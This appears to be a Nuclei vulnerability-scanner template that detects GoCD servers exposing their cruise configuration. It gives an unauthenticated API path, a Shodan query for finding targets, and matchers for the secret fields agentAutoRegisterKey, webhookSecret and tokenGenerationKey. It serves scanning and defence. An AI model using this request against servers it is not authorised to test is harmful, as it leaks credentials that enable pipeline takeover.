id: gocd-cruise-configuration info: name: GoCd Cruise Configuration disclosure author: dhiyaneshDk severity: high description: GoCd Cruise Configuration is exposed. reference: - https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50 - https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover - https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140 metadata: max-request: 1 shodan-query: http.title:"Create a pipeline - Go" html:"GoCD Version" tags: go,gocd,config,exposure,misconfig http: - method: GET path: - "{{BaseURL}}/go/add-on/business-continuity/api/cruise_config" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "server agentAutoRegisterKey" - "webhookSecret" - "tokenGenerationKey" condition: and # digest: 4a0a00473045022100ac29afb87fd8ac872a0f7b942535bb3bf817074b934908847e337261e4192e3b022032bf9074f738ea01957b605f5c88f68efad27b85ab8d69ecb23fc5d0b0f73193:922c64590222798bb761d5b6d8e72950